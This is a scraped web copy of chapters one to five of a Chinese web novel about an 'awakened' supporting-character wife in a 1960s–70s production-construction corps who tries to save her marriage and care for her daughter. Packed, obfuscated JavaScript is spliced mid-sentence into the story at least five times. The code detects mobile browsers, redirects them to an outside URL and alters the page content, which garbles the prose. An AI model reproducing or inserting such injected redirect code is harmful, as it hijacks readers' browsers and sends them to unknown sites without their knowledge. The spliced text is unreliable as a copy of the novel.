《年代文女配觉醒了》 1. 第 1 章 刚下过一场大雪,整个平原都白茫茫一片,只有远处的村落浓缩成一个小黑点,灰扑扑的不起眼。 拖拉机的突突声中,风吹在脸上像刀子割,几只野鸟扑拽着长长的尾巴,扑簌簌飞远了。 刘政委看着飞走的鸟,用手挡着雪地努力辨认了一下,还是没看出什么品种。他砸了砸嘴:“前段时间部队分的那几只飞龙,你家咋做的?咱家炖了,听他们说清蒸好像更好吃。” 这话才说完,他就后悔了。 众所周知,林之行家里那口子……有点不着调。他这一趟顶着大太阳出来,就是为了去林之行家里调解的。 脾气大、半文盲,整天拖后腿不说,还天天想着把家里东西往娘家搬。 家属排的家属一般会分配比较轻省的工作干,方便家属们照管孩子。像是夏天看菜园,冬天看菜窖。又清闲,又能落下点吃的,一颗两颗菜拿回家里也没人说。 可那冯孟云呢?专挑好的拿不说,拿了一大筐,还托人往娘家捎。把小林气得跳脚。 前些日子部队里分的飞龙是警卫班下陷阱捉的,连长往上一人分了一只,看小林这脸色,估计也是一口没吃着,就叫媳妇给送娘家了。 倒可惜他们家那小姑娘了,长得漂漂亮亮的,给养得又黑又瘦。 两口子大吵了几次,林之行回家的时间越来越少。大家伙私下里都猜,看两口子谁先服软,看林之行什么时候搬回去。结果没曾想,林副营长回是回去了,却是带着离婚报告回去的。 不过,离婚也是要走走程序的,部队上必须得派人调解。刘政委这次,就是来走调解程序,调解不成再离婚。 他瞥了一眼冷着脸的林之行,还有他包里那份文件。 这林副营长离婚的决心可大得很,连报告都打好了,等会儿的调解估摸着也就是走个过场了。 刘政委岁数大了,年轻时候跟老婆也打过闹过,现在岁数大了倒和谐了。老话说得好,宁拆十座庙不拆一桩婚。他五十来岁的人了,到这生产建设兵团养老的,咋还摊上这事儿了? 他到底忍不住又劝一句:“小林啊,你等会儿也别太着急,叫我跟小冯说说,两口子哪有说不开的事儿呢?” 林之行干脆没接这个话头。 跟冯孟云,他是说也说了,教育也教育了。他也不是一分钱不给丈人家花的抠门人,之前甚至提出来,每个月给她娘家十块钱,东西分一半过去。 可这冯孟云猪油蒙了心似的,拿她自己都不当人,恨不得什么好东西都给娘家弟弟送去,指望着他那混蛋小舅子将来成什么大事。连她自己的亲闺女都觉得是个赔钱货,一心惦记着家里的三个弟弟,甚至连对侄子都比女儿亲。 这是他决不能忍受的。 他领冯孟云听过市里头妇联的讲课,给她看过主席语录,背过“妇女能顶半边天”,可到头来还是这样。 林之行可以接受媳妇给娘家东西,毕竟婚姻是两个家庭的结合。但他不能接受媳妇只把娘家当家,把他甚至女儿都当成是供养家里的血包。 上次冯家人又来,他看见对方使唤自己女儿去倒水的时候,就坚定了一定要离婚的心。 “刘政委,您别劝了。咱们第六师的任务是最艰苦、最重的,冯孟云她自己不进步,封建思想严重。团部上次开会还说要组建铁姑娘班,结果我自己家里头有这么个落后典型,这怎么行?” 刘政委年纪大,林之行平时都是叫刘哥的,这次称职务、可见是认真了。 他叹口气,不再说这件事,开始跟路上遇见的熟人打招呼。 独立团的几个家属排都是建在一起的,房子是分批盖的。最开始第六师刚组建的时候,条件艰苦,都是土坯房。后面独立团建了自己的砖窑,这才建了一批红砖房。 林之行是68年年底被分来生产建设兵团第六师的,他是高中生出身的军官,有技术,不同于刘政委这些复员老兵,一来就提拔了副营长。待遇也好,住了最后一批建起来的独门独院的红砖房。 “林副营长回来了?” 家属排的人不少,几批房子建下来,几乎已经是个小村落的模样了。村口几个中年妇女看见林之行回来,都有点遮遮掩掩的模样。 刘政委家的周嫂子也在,她跟刘政委对了个眼神,看刘政委摇了摇头,她没多说什么,喝退了旁边几个跃跃欲试想去摸拖拉机的小子。 “干啥!别摸,都离远点,把你卖了都没这拖拉机金贵!” “嫂子这是什么话,”林之行装作没看见刘政委两口子的眼神官司,脸上挂上点笑意,“毛主席讲过,世间一切事物中,人是第一可宝贵的。拖拉机再怎么金贵,也是死物。再说了,咱机务排就缺几个有灵气的小子,二顺物理是不是满分?将来兵团大比武就指望他了!” 这话周嫂子爱听,整个生产建设兵团里头,最宝贵的就是机务排的技术兵了。林之行这么年轻轻就当了副营长,跟懂技术也脱不了关系。 她又看了刘政委一眼,还是提醒道:“刚刚我看你丈母娘……又来了。嫂子托大叫你一声小林,你好好跟你媳妇说说,可别急。” 冯孟云家里是本地的。 两个人刚结婚的时候住在京市,那时候,冯孟云也就是一个月寄两次包裹,担心家里头弟弟吃不上好的。可等到她随军跟着林之行来到生产建设兵团这里,正好离娘家近,情况一下就天翻地覆了。 冯家老太太赵翠一个月能坐驴车来上两三趟,每次必把家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213403|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搜刮一空。 林之行进村的时候,她刚坐到炕上,把林嘉禾扒拉到一边,让她命根子似的小儿子坐到热腾腾的炕头上。 赵翠一边给小儿子擦脸,一边念念叨叨:“来这一趟可遭大罪了……你瞅瞅你小弟这脸,蛤蜊油有没有?上回拿那瓶什么护肤蜜,你还说是高档货,水叽叽的,哪有蛤蜊油好使?净唬人。” 她说了半天,发现平时百依百顺的闺女竟然没动地方,忍不住扭头看过去。 “干啥呢?叫你拿蛤蜊油你没听见?” 冯孟云这才缓过来似的,有点茫然地看过去。 她看着炕上颐指气使的老太婆,看着那个十四岁的半大小子鞋也没脱坐在炕头上,看着她自己五岁的女儿被亲姥姥粗暴地推到炕梢上,感觉像是梦还没醒。 原来,在她还没清醒的时候,在她还是忠实地按照剧情做炮灰的时候,竟然是这样的一个人吗? 骤然被系统从剧情中唤醒出来,她觉得自己像第一天活过来一样。 刚刚系统灌输了太多的信息,冯孟云的头还痛着,她扶着柜子捂着太阳穴,炕上的亲妈赵翠却视若无睹,只顾着颐指气使。 “这大冷天的……要不是老二要相亲了,我也不遭这个罪。姑爷的军装有没有不穿的?你收拾一套出来,叫老二穿着去相亲,也精神点,现在小姑娘就得意这个。” 回想起系统告诉自己的剧情,冯孟云强打起精神。 如果她没记错的话,这次就是导致她跟林之行离婚的关键点了! 这年月的军装相当珍贵,尤其生产建设兵团是有建设任务的,军装磨损尤其快。赵翠问“有没有不穿的”,纯粹就是睁着眼睛说瞎话。 “没有,”冯孟云强忍着头痛抬起头来,瞪了老太婆一眼,“妈,你说什么浑话,部队的军装哪是咱老百姓能穿的?” 这姑娘居然学会顶嘴了! 赵翠大吃一惊的同时,正要进门的林之行也顿住了脚步。 刘政委轻轻捅了他一把,小声道:“你瞅瞅,这小冯不也懂事了吗?我跟你说,你可别一进去就嚷嚷着离婚!得先调解,这是必须要走的程序,你可不能让我老刘在这最后一班岗上犯错误!” 林之行正要说话,突然听见屋里有东西倾倒的声音,他赶紧推开门进去,正看见赵翠过去抓住冯孟云就要动手。 “你干什么!” 就算是将来离婚,林之行也想好,还是要让冯孟云从家里出来,给她找个离家远些的连队分配过去。 做不了夫妻,也不能眼睁睁看着她回去被那一家子吸血到死。 现在还没离婚,他更不可能看着这搅家精老太婆在他的家里打他媳妇。 “你敢动手试试看!” 2. 第 2 章 吃林之行这么一声喝,赵翠缩回了手,放开冯孟云,有点尴尬地站在一边。 毕竟,这姑爷可是副营长,身后站着的刘政委看起来也像是个大官。 赵翠讪讪道:“姑爷,你喊这么大声干啥,不就是拍她两下……” 林之行冷下脸。 他的余光里,冯孟云捂着额头扶着柜子站在那里,很痛苦的样子。林之行一步跨过去扶住她,让媳妇慢慢坐下。 刘政委见状,大声吓唬着赵翠:“老太太,小冯可是军属!你打军属是要吃官司要被抓的,你知道不!” 刘政委是基层摸爬滚打上来的,很会处理这类问题:先扣个大帽子上去吓唬就行了,不用讲道理,没用的。 赵翠吃这么一吓,看刘政委笔挺的军服,知道今天肯定是要不到军装了。她也没想着留宿在姑爷家里,抓着炕上的小儿子赶紧逃也似的出了门。 临走还不忘跟闺女嚷:“小云,那事儿你别忘了,下回俺来!” 冯孟云有心再顶一句,奈何头痛实在是难忍,只能在头痛缓和一些之后抬起头对刘政委道谢。 “刘哥,谢谢您。” “没事没事。” 刘政委心道,这小冯看着也没传言中那么浑啊,说不得是刚刚走的那老婆子太欺负人了。 想着说不准不用干这得罪人的“调解”活,他整个人都轻松了,朝着炕上气鼓鼓的小姑娘摆摆手。 “禾禾啊,走,大爷领你玩玩儿去。” 刚刚老太太一走,林嘉禾立刻过去整个人霸住了热炕头,她用力摇头,“外边冷死了,我才不去呢。” 刘政委失笑,哄她:“不上外头,上大爷家里,让你二顺哥给你烤地瓜,吃不吃?” “去!” 小姑娘立刻利索地自己爬下炕头,刘政委赶紧过去给小姑娘套棉袄棉鞋,抱起她就往外走。临走还不忘一边挤眼色一边叮嘱林之行。 “你俩好好说说,两口子有啥说不开的?” 生怕林之行这小子又说出什么不该说的,刘政委抱起禾禾就走,临走的时候还不忘记顺手抄起林之行的那份离婚报告。 林之行看着他的动作,手上没动,心里微微叹了口气。 他站起来,去看了看炉子上坐的水壶,倒了杯热水递过去。 “怎么还头痛起来了?感冒了?” 他伸手去摸冯孟云的额头和脸,又试了试自己额头的温度。 “没发烧。” 那只手,温暖又干燥,几乎能完全笼罩住她整张脸。 冯孟云抬起头,看了一眼林之行,想起梦里系统告诉她的事情: 她所处的这个世界,其实只是一本男频的年代后宫文。 那系统很匆忙,说自己能量不够,又说为了她兑换了东西。先一股脑塞给她一堆年代文,让她慢慢消化,又简单说了说剧情。 那些年代文让她对自己的状况有了最基本的了解,也给了她很多知识。 不知道是系统让她清醒的原因,还是那些年代文的知识,冯孟云发现,自己似乎是摆脱了那个只能按照剧情走的自己。 但是之前积累下的后果,还得自己承担。 最紧迫的就是,林之行这次回家,正是准备跟她离婚的。 冯孟云抬头偷偷打量林之行的脸色,看窗外的光在他棱角分明的脸上投下厚重的阴影。 她丈夫英俊又前途无量,自己住着整个团部家属排最好的房子,原本夫妻感情也是好的,她为什么要作到离婚? 就为了给剧情里那个带孩子的女人让步?就为了让这本书里的男主角拥有这样一个开明又有能力的继父? 冯孟云悄悄攥紧了手指。 她不能离婚。 过去的人生已经葬送在莫名其妙的剧情里,她觉得自己从今天才算第一天活过来。 能抓住的东西,她不会再放手。 凭什么她就得做个背景板,乖乖给别人让位置,做一个完全没道理的胡闹反派,吧这样的丈夫拱手相让? 杯子里的热水把她冰冷的手指焐得热乎乎的,冯孟云鼓起勇气,正要开口,却听见对面的男人先开了口。 “我今天回来,是打算离婚的。” 林之行的声音很严肃。 “离婚报告我都打好了,刘政委跟过来是因为程序上必须有调解这一步。” 刚刚冯孟云拒绝了赵翠,让林之行生出来一点希望。 如果可以不离婚,林之行是不愿意离婚的。这个年代,离婚绝不是什么追求自由,而是丢人现眼。 他也不愿意让一个原本完整的家庭就这么被拆散。 但,这也不是冯孟云第一次服软了。 过去她也不是没服过软,就是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213404|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从他手里把工资都哄走,再给她娘家那个没用的弟弟花。这次,他暂时不会立刻离婚,但也不会就这么快原谅对方。 他把离婚说出来,希望这样严重的事情能把冯孟云吓一吓。 “今天的事情我听见了,她现在都敢找你要我的军装了,下次要的是什么?再下次是不是就要大摇大摆去团部了?” “不要求你多进步,总不能在这样的事情上拖后腿吧?” 林之行说完,观察着冯孟云的反应。 按照前几次吵架的经验,这个时候冯孟云就要开始大吵大闹了。说她妈妈养大她多不容易,说她弟弟其实多么有本事,现在又多么委屈。 他这个丈夫,倒仿佛才是那个外人。 可这一次,冯孟云却只是低着头,还轻轻擦了擦眼睛。 被系统强塞了一大堆年代小说,那些信息在她的头脑中爆炸开,现在才慢慢消化掉。 按照过去那个炮灰的性格,这会儿已经开始大吵大闹了。 她回忆着那些书中主角的表现,知道在这个时候应该低头示弱。 更何况,过去确实是“她”做错了。 “我会改的。” 认错出了口,后面的话就没那么难出口了。 她心里有点惴惴不安,微微抬起头,有些心虚地抬眼看丈夫。 “过去是我猪油蒙了心,结果让我妈越来越过分,现在连这种要求都能提出来。我以后再也不会顺着她了。” 说出来这几句,她抬眼看林之行,想看看对方有什么反应。 林之行脸上什么反应都没有。 媳妇能说出这种话,确实大大出乎他意料。但之前几次反复,让他现在没有那么容易地相信对方了。 但,至少是有些希望。 如果可以不离婚,谁愿意离婚? 冯孟云感受着室内让人难耐的沉默,眼圈是真的红了起来。 或许是看见她的眼圈红了,林之行最后终于开口:“离婚报告,我暂时不会交上去。但是接下来一段时间,我会在家里住,工资先不交给你了,看看你到底是不是真心改过。” 这样的结果,至少比马上离婚好得多了。 冯孟云赶紧点头。 只要有相处的机会就好,她一定能改变林之行的印象的。 这样伸手可触的幸福,她一定会抓住的。 3. 第 3 章 第三章 或许是有意给小两口留出相处机会,一直拖到快晚饭时候,刘政委才把林嘉禾送回来。 他对林之行说道:“小林啊,你那个包我给忘在家里了,哈哈。” 林之行知道,刘政委到底还是不希望他离婚的。这年头的离婚,在履历上妥妥是污点。 他从刘政委手里抱过林嘉禾,摸了摸女儿的小手暖暖的:“刚刚跟冯孟云谈过了,还是再看看。” “那就好!那就好!” 送走了刘政委,林之行抱着女儿回房间,看着冯孟云已经开始准备做晚饭了。 如果是以前,林之行多半会自己准备接手。因为妻子一向只会简单蒸几个玉米饼再切些咸菜,肉蛋甚至连油都是省着不舍得吃的。 大家都是艰苦日子走过来的,如果真的只是不舍得吃也没什么,可偏偏她都是省下来给娘家送去。 林之行在家的时候,就会尽可能多做些荤腥。 可是今天,让他吃惊的是,妻子揉面的时候,旁边还摆了一瓢白面。 ——身在生产建设兵团,其实在吃食上是好过于当初在京市的。毕竟是负责生产的,自己或多或少能截留下来点东西。再加上部队的待遇也好过地方,在这里能吃到的白面,其实比当初在京市多。 只是一直以来她都会偷偷摸摸省下来送回娘家罢了。 冯孟云察觉到丈夫抱着女儿在身后,回头笑了笑,给他看自己手上的水壶。 “今天做半烫面的两掺玉米饼,比单独白面的香。再把豆角干炖一点土豆。” 就算不是为了挽回丈夫心中的形象,冯孟云也打算给自己吃点好的。 过去的她,在原著剧情的驱使下,过的那都是什么苦日子! 身在北大荒这个天然粮仓,她可不打算继续过那样的苦日子。 玉米面先烫过和开,加两个鸡蛋,等常温再加白面和之前养好的老面。这样发好的面蓬松暄软,又有黑土地上种出的玉米的甜香,又有白面的细腻,不会拉嗓子。 哪怕是不加油,烙出的饼也暄软,用手一攥,松开还是蓬松可口。 林之行中间不放心地出来看了一眼,看她炖豆角干还放了一勺猪油,心下颇有些惊诧。他在家干活干惯了的,看菜炖上了,催冯孟云进屋。 “你下午不是还头痛吗?去炕上躺一躺,我看火。” 要是放在过去的冯孟云身上,这会儿就直接丢开手进屋了。但是现在,她开始慢慢试着像那些小说里的妻子一样。 书里面怎么说的来着?叫夫妻情趣。 “我跟你一起看着。” 她从旁边搬了一把小木凳过来,这小凳子还是林之行找木工班特地做的,带靠背,坐起来很舒服。 她特地把椅子靠得离开林之行近一点。从背后看,这男人腰细,可是肩膀却格外宽厚,看得冯孟云甚至有些脸红心跳。 对她来说,过去按照系统剧情走过的日子,就仿佛隔了一层雾气一样,像是看别人过日子。 现在的她,像是重新活过来了。 跟林之行这样贴近,是她之前没有感受过的。 林之行毕竟是行伍出身,身体好得很,穿着棉袄在灶台前烧火,不一会儿额头就开始泌出细细的汗。 冯孟云咬了咬下唇,大着胆子从怀里掏出手帕,伸手过去给林之行擦汗。 林之行正在专心烧火,心里思忖着这灶坑不算太好烧,回头是不是抽个时间来重新垒一下灶、再把烟道通一通。 冷不防突然冯孟云伸手过来给他擦汗,他怔了一下,感觉到两根软软的手指从他的额头擦过去。 上次有这样的时候,怕是才刚刚新婚…… 两个人刚结婚没多久,冯孟云就怀上了禾禾。之后各种运动此起彼伏,他当兵也不能经常回家,等到他终于到了能让家属随军的级别,就来到了这生产建设兵团。 刚开始的时候,他也为离妻子娘家近高兴了一阵,可没曾想,确实噩梦的开始。 想到这里,刚刚心里那一软又重新消失了。 他借着站起身来躲开冯孟云的手:“我去看看禾禾。” 冯孟云有点失望。 她咬着下唇看着林之行的背影,在心里自己安慰自己。 常言道,至亲至疏夫妻。之前闹成那个样子,换做她是男人只怕也是要离婚的。怎么可能因为一句两句话就突然和好? 她自己知道自己不再是过去的那个人,但别人不知道。就算是说出来,也没有人会相信。 只能靠日久见人心。 她掀开锅盖,翻动了几下炖菜。想了想女儿那瘦得伶仃的手腕,利索地磕了三个鸡蛋,准备再蒸个鸡蛋羹。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213405|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果说对着林之行还有点委屈,那对着自己的亲生女儿,冯孟云的心里就全是歉疚了。 女儿是她身上掉下来的肉。 哪怕是过去那些被剧情控制的不清晰的记忆力,生下女儿的部分,也是她感知最清晰的部分。 不管什么原因,把女儿养得这么瘦,都是她这个亲妈的不是。 她利索地打着鸡蛋,又从水壶里倒了温水进去,从柜子里翻出来现在算是很金贵的虾皮,浅浅洒了一层。 那些年代文里面还有不少她没听说过的好吃的,只可惜现在的物质匮乏,只能尝试一些。 等到炖菜和鸡蛋羹都好了,她利索地把菜盛在盆子里,又喊林之行来端菜。 “我来吧,你手不禁烫。” 林之行看见她又蒸了个鸡蛋羹,格外看了她一眼,这才去把蒸蛋碗端下来。 “这个给禾禾补补。” 冯孟云把对女儿的歉疚先咽回了肚子里。 有些话不着急一时说。 两人把饭桌摆好,禾禾已经冲到桌子边伸手去抓玉米饼了。 林之行一把抓住她的手,把女儿整个人拎起来:“爸爸怎么说的?吃饭之前要干什么?” 禾禾的眼睛执着地看着桌子上的鸡蛋羹,不情愿地跟林之行去洗手。五岁的小姑娘,满心全是好吃的,一边洗手一边拼命伸脖子往桌子上看。 好不容易洗完手,她几乎像颗小炮弹一样冲过去到桌子边,拿起勺子就去舀鸡蛋羹。 冯孟云心里有点酸酸的,赶紧抓住禾禾的手。 林嘉禾投过去不信任的目光,用力要甩开她的手。 难道做好的鸡蛋还要留给舅舅吗! 她生气地甩开妈妈的手,可是却看见妈妈拿出小碗,把鸡蛋舀到了小碗里,吹了吹,这才放在她面前。 “禾禾吃小碗里的,烫。” 看着女儿像饿极了的小狼一样吃着鸡蛋羹,冯孟云又给她夹烧豆角:“尝尝今天的豆角?妈妈放了猪油,很香的。” 禾禾对妈妈还是很防备,小孩子的习惯也不是那么容易打破的。冯孟云夹给她的每一筷菜她都用最快的速度吃光,就好像旁边有人会立刻抢走她的饭菜一样。 冯孟云叹口气。 从前,她是个不称职的母亲。但不管怎么样,她之后都会好好对禾禾的。 4. 第 4 章 第四章 东北的冬天,农村一般都睡得很早。 生产建设兵团理论上是军区,其实下面也是分了很多农场,在这里当兵,平时的生活跟农民无异,甚至还要更累些。 前几天刚下过雪,晚上冷得很,大家都是把炕烧得热热的在炕上待到睡觉。 电视还远远没普及开来,最多是听听收音机。 给禾禾洗脚洗脸,又梳了头发,冯孟云看她利索地躺在了父母中间,还朝着林之行那边蹭了蹭。 这几年来,两口子的感情越来越差,林之行在部队睡的日子越来越多,就算偶尔回家睡也是像现在这样,两口子中间夹个禾禾。 冯孟云躺在炕头,借着窗外透进来的月光,侧身看着林之行的脸,慢慢地咀嚼着记忆。 就算是夫妻感情不好,林之行也一直称得上是个好丈夫。 炕头一向是给她睡的,家里新棉花的被子也是给她和禾禾,林之行最后换——但可惜被当时的那个她给送回娘家去了。 她的衣服很多,刚回到北大荒的时候,她脸上皴裂了,林之行托人买了现在最好的柠檬护肤蜜给她用。 家里的家具也都是他攒了木头,托木工班的小战士帮忙打的。 生产建设兵团的建设任务是很重的,春夏秋冬每个季节都要开动员大会。 春季是春耕春播大会战,到了夏季有夏锄麦收大会战。秋季自然是秋收大会战,冬天也不能闲着,还要修水利。每个大会战之前都有讲话和动员,“小镰刀战胜机械化,小镰刀精神万岁”。 平时就算是不大会战的时候,也要晚上开批判会,早上出操。 林之行是整个第六师最年轻的军官,处处都不能落后,多少双眼睛看着他,事事都要争先。 在这样的情况下,他还能抽空回家劈柴挑水,在原主的记忆力,几乎从来没有自己劈柴的时候。 就算有时候太忙回不了家,林之行也会找人来帮她安顿好。 她不会把这个男人让给别人的。 更何况……这个男人本来就是她的,两个人是相亲认识的,再光明正大不过的少年夫妻。 冯孟云忍不住轻轻出声:“之行……你相信我,我一定会改好的。” 雪原的夜晚很静很静,房间里也很静很静,她说出的话,好像刚出口就立刻消散在有些冰冷的空气里,比呼出的哈气还更先消失。 她的丈夫仍然静静地躺着,没回应她的话,让她觉得刚刚自己说出的话仿佛是幻觉。 冯孟云转过身,也变成仰躺,把肩膀处的被子紧紧掖好,免得冰冷的空气钻进去。 就算火炕再暖和,可屋子里的空气还是挺冷的。 她闭上眼睛准备睡觉,在半梦半醒的时候,突然听见林之行开口了。 “你的手帕有点糟了,我明天去供销社问问,之前淘汰的那批毛巾还有没有。你把老鼠咬的地方剪一剪,比手帕好用。” 她一下子清醒起来,扭过头去看林之行。 林之行仍然闭着眼睛,好像刚刚开口的不是他一样。 火炕的温度慢慢地烘上来了,烤得她肩膀热乎乎的,刚刚冷空气带来的寒意已经消失不见了。 她轻轻回答了一句:“谢谢。” “……这次别拿回去给娘家了。” 林之行这句话之前有个很长的鼻音,似乎在犹豫要不要说这句。 他失望很多次了。 冯孟云也不是没有过突然温柔的时候,可每一次都是有所求。 要么是拿了家里的积蓄去给弟弟走后门,要么是家里的东西回去,要么是把他的津贴拿到手就转手送出去。 连家里的收音机都给娘家拿回去了。 他忍不住扭头看了一眼冯孟云的方向,却正碰上妻子目光闪闪地看过来。 她声音活泼起来,好像回到了两个人刚刚认识的时候。 “不会的!” 这天晚上,冯孟云睡得格外香甜,第二天难得地赖床到了日上三竿。 她觉得自己睡得像个小姑娘。 不过,她的少女时期在娘家可从来没睡这么好过,在家里要伺候父母和三个弟弟,要干农活要做家务。 细细想来,她的好日子几乎全是嫁给林之行之后的事情。 在被窝里翻了个身,冯孟云惊讶地发现,她的衣服裤子全都被塞在禾禾的褥子下面,烘得热热的,直接套上也不会觉得冰冷。 她在被窝里像蚕宝宝一样蠕动着穿好了衣裳,坐起身来,看玻璃窗上结满了精巧的冰凌花。 她握紧拳头,用手掌外缘印了个脚掌上去,透过小脚掌往外看。 院子里头,林之行正在劈木头。 每一下都把斧头高高举起然后再狠狠劈下去,这样才省力气,但看起来却尤其显得他身形如鹤,修长笔直。 他一边劈柴一边还压低声音喊着女儿:“别出来,在屋里玩。” 听见女儿清脆答应的声音,冯孟云赶紧梳头发下地。 东北的平房一般都是左右两厢房,东厢房当正房用,中间是厨房,俗话叫“外屋地”。 她来了外屋地,看禾禾正坐在小凳子上,把棉门帘掀开一条缝看着外面劈柴的爸爸。 “禾禾,风吹冷不冷啊,要不要进屋里玩?” “早上跟爸爸吃了什么呀?” 禾禾不吭声。 冯孟云也不灰心,过去她对女儿那样不好,女儿脾气大点也是应该的。 倒是应该脾气大点,免得长大了像过去的她一样,不知好歹叫人拿捏。 女孩子就应该这样。 她转身掀开灶台上的大锅。 这里的冬天实在是太冷,饭菜如果放在外面的话,要不了就会冻得邦邦硬。一般会在大锅里面烧点热水,上面放上盖帘,把饭菜放在上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213406|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保温。 锅里还有昨天剩下的两个玉米饼,和一碗疙瘩汤,疙瘩汤上面飘着点油星,里面是切得细细的白菜碎。 冯孟云知道这一晚应该是留给自己的,她拿了勺子,搬了另一个小板凳坐在女儿旁边吃饭。 一勺子挖下去,下面还有一只白白胖胖的荷包蛋。 她呆了呆,有点复杂地看着外面劈完柴已经开始和煤泥的男人。 “禾禾,还吃不吃鸡蛋?” 刚刚还没理人的女儿,听见鸡蛋就迅速地转过头来。 冯孟云还真有点怕这孩子吃积食了。 昨天三个鸡蛋的水蒸蛋,她小小一个人差点全吃了,晚上还是林之行哄着她在屋里屋外转了半天才敢让孩子上炕睡觉。 她用勺子把鸡蛋挖了一半,问禾禾:“禾禾是爱吃蛋黄,还是爱吃蛋清啊?” “吃蛋清!” 她小心翼翼地用勺子把蛋清剥开,先切下一小块喂给孩子。 禾禾吃得很贪心,让冯孟云不敢给她喂太大块,眼看着她边吃眼睛还不舍得离开碗里,冯孟云只能安慰她:“都是你的,蛋清都给你,禾禾慢点吃。喝口汤。” 把一个蛋清都喂给了禾禾,她这才开始吃饭。外面林之行也和完了煤泥,把煤泥在地上拍成一个个饼子的形状,收拾干净进屋来。 “我得去后山了,这天冷,你跟禾禾在家待着吧。” 冯孟云来不及咽下口中的食物,坐在小板凳上扬起脸问他。 “晚上还回来吗?” 在她的记忆里,最近的几个月,林之行晚上回来的次数屈指可数。大多数时间白天挑时间回来,抽空给女儿做点好吃的。 林之行被冯孟云这一问,给问得愣了一下。 现在正是水利大会战刚开始的时候。 冬天的雪原可是能冷到零下三四十度的,十月还不算太冷,更要抓紧时间干活。 不过,就算还不至于太冷,土地也冻得跟石头一样硬了。在这样的天气里,铁锹已经不管用了,而是要用铁钎、大铁锤和镐子。 先用大铁锤砸铁钎,把冻得结实的土地砸出裂缝,然后用镐子沿着裂缝狠凿,把上面的冻土块刨除,露出下面较松软的土,再继续挖。 等第二天,前一天还松软的土又会变成冻土层,再周而复始。 在这样高强度的水利会战下,晚上几乎大家都是在团部凑合睡一觉。 不过,看着妻子女儿扬起的两张小脸,林之行把“不回来”三个字咽了下去:“可能晚点。” “行!” 冯孟云有点高兴:“晚上我包点大菜饺子等你!箩卜馅儿,再加点猪油渣!” 林之行点点头,披上棉袄,用围巾狠狠把脸缠了几层,这才出门去了。 关上大门前,他有点不敢置信地往屋里看了看。 这日子……让他不知不觉对回家也有点盼头了。 5.第 5 章 晚上睡觉的时候,两个人仍然是离着很远,女儿睡在中间。 不过,热腾腾的炕头一直是给冯孟云睡的,她的身子还是虚,在被窝里焐了半天,手指才慢慢热起来。 她试图唤醒脑子里那个奇怪的系统,对方却仍然在装死。 冯孟云有点奇怪地睡过去了,第二天再醒过来的时候,林之行已经出门了。 她看了看时间,才早上七点多。 林嘉禾还在睡觉,小孩子觉多,多睡点个子长得也好。 她脑海里那个系统悄悄冒出来了。 “离婚报告还在呢,你要不要偷偷藏起来?” 和冯孟云脑子里那些书中千奇百怪的系统相比,她的这个系统简直完全不像个系统。 “藏起来他还能打第二份,有什么用?反正现在也不打算离婚,慢慢来就是了。” 冯孟云现在不着急这份离婚报告,她更好奇原著的详细剧情。 不过,她脑海里的这个系统更接近于人,情绪化很严重,出现时机又不一定。想知道后面的剧情,看起来还得慢慢哄。 她换了语气,像哄女儿一样哄着系统:“前面多亏有你提醒我,不然叫那个姜克思抓到了,现在哪里还有热炕头可以睡?” 团部里的厕所都是被批斗的人负责收拾,脏得很不说,这个天气早上去干活,是真的能冻死人的。 东北冬天的早上七点,几乎冷得能把石头都冻死。 她们所在的团,是属于生产建设兵团第六师的,在整个雄鸡地图的右上方,也是最冷最艰苦的地方。 现在已经是十二月了,是真的能把人鼻子冻掉的气温。 林之行离开之前,应该是又给炉子添了一把火,被窝里很暖和。冯孟云又往被子里缩了缩,在脑海里继续哄系统。 “以后再遇见这样的事情,你还会提醒我的吧?要是没有你,真不知道要怎么办。” 系统的声音其实是没语气的,听起来平平的,很奇怪。但这系统的用词,总让冯孟云能脑补出语气。 “肯定会提醒你的,但是你得听我的话哦。” 她慢慢地引导系统:“要不你给我说说后面的剧情吧,我总得试试防患于未然吧?至少,你得告诉告诉我,林之行是怎么被批斗的?” 这奇怪的系统一直没说女儿后面怎么样了。 她被离婚,林之行另娶,那个后妈对她的女儿好不好? 